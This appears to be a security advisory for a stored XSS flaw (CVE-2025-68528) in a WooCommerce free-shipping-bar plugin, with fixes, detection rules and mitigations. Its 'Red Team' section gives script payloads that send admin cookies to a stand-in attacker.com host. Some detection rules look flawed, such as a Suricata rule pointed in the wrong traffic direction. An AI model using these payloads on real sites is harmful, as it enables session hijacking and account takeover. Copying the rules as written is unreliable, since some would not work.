CVE-2025-68528

Executive Summary

CVE-2025-68528 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPFactory Free Shipping Bar: Amount Left for Free Shipping for WooCommerce plugin for WordPress. This plugin is part of the WordPress ecosystem and is used by e-commerce sites to display a progress bar indicating how much more a customer needs to spend to qualify for free shipping. The vulnerability allows an authenticated attacker with contributor-level access or higher to inject malicious JavaScript into the plugin’s settings or bar content, which is then stored and executed in the browsers of other users (including administrators) when they view the affected page. The CVSS score of 6.5 reflects a medium-to-high severity due to the potential for account takeover, session hijacking, or defacement. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Users should verify the integrity of their plugin files and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required (R) – The victim must visit the affected page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS can lead to privilege escalation and lateral movement within the WordPress admin panel.

Deep Dive & Mechanics

The vulnerability resides in the Free Shipping Bar plugin’s input handling for the bar message or configuration fields. The plugin fails to properly sanitize and escape user-supplied input before storing it in the database and later rendering it in the browser. An attacker with contributor-level privileges can inject malicious JavaScript into fields such as the “Free Shipping Message” or “Progress Bar Text.” When an administrator or other user views the WooCommerce settings page or the front-end bar, the injected script executes in their browser context.

The attack flow:

1. Attacker logs in with contributor credentials.
2. Attacker navigates to the plugin settings (e.g., /wp-admin/admin.php?page=free-shipping-bar).
3. Attacker inserts a payload like <script>alert('XSS')</script> into an unsanitized input field.
4. The payload is stored in the WordPress database.
5. When an admin visits the settings page or the front-end page displaying the bar, the script executes.
6. The attacker can then steal cookies, perform actions on behalf of the admin, or inject further malicious content.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to use functions like echo $message or the_field() without proper escaping. A patched version would use WordPress’s built-in escaping functions:

Vulnerable (pseudo-code):

echo '<div class="free-shipping-bar">' . $user_input . '</div>';

Patched (pseudo-code):

echo '<div class="free-shipping-bar">' . esc_html( $user_input ) . '</div>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the Free Shipping Bar plugin version <= 2.4.9.
• A contributor-level account.

Steps:

1. Log in as a contributor.
2. Navigate to the plugin settings page.
3. In the “Free Shipping Message” field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the settings.
5. Wait for an administrator to visit the settings page or the front-end page.
6. The admin’s cookies are exfiltrated to the attacker’s server.

Alternative payload for session hijacking:

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team

Detection:

• Monitor for unusual changes to plugin settings by non-admin users.
• Look for HTTP requests to unknown external domains from the WordPress admin panel.
• Check for script tags in the wp_options table or plugin-specific meta fields.

Hunting:

• Search the database for stored XSS patterns:

  SELECT * FROM wp_options WHERE option_value LIKE '%<script>%';
  

• Review server logs for POST requests to plugin settings endpoints from contributor accounts.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the WordPress server.
• File: Modified plugin files (e.g., free-shipping-bar.php) containing injected JavaScript.
• Database: Entries in wp_options or plugin-specific tables containing <script> tags.
• Logs: POST requests to /wp-admin/admin.php?page=free-shipping-bar from non-admin users.

Detection Engineering

YARA Rule

rule CVE_2025_68528_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Free Shipping Bar plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68528"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = "free-shipping-bar"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in Free Shipping Bar Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts in the Free Shipping Bar plugin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin.php*'
        cs-uri-query: 'page=free-shipping-bar*'
        cs-username: 'contributor'
    condition: selection
falsepositives:
    - Legitimate plugin updates
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68528 Stored XSS Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=free-shipping-bar"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Restrict contributor roles – Only grant trusted users contributor access.
3. Implement a Web Application Firewall (WAF) rule to block <script> tags in plugin settings fields.

Long-term Fix:

• The vendor must release a patched version that uses esc_html() or wp_kses() for all user inputs.
• Alternatively, replace the plugin with a more secure alternative.

Workaround:

• Manually edit the plugin file to add escaping:

  echo esc_html( get_option( 'free_shipping_bar_message' ) );
  

Valters IT
DevSecOps & Cyber Threat Intelligence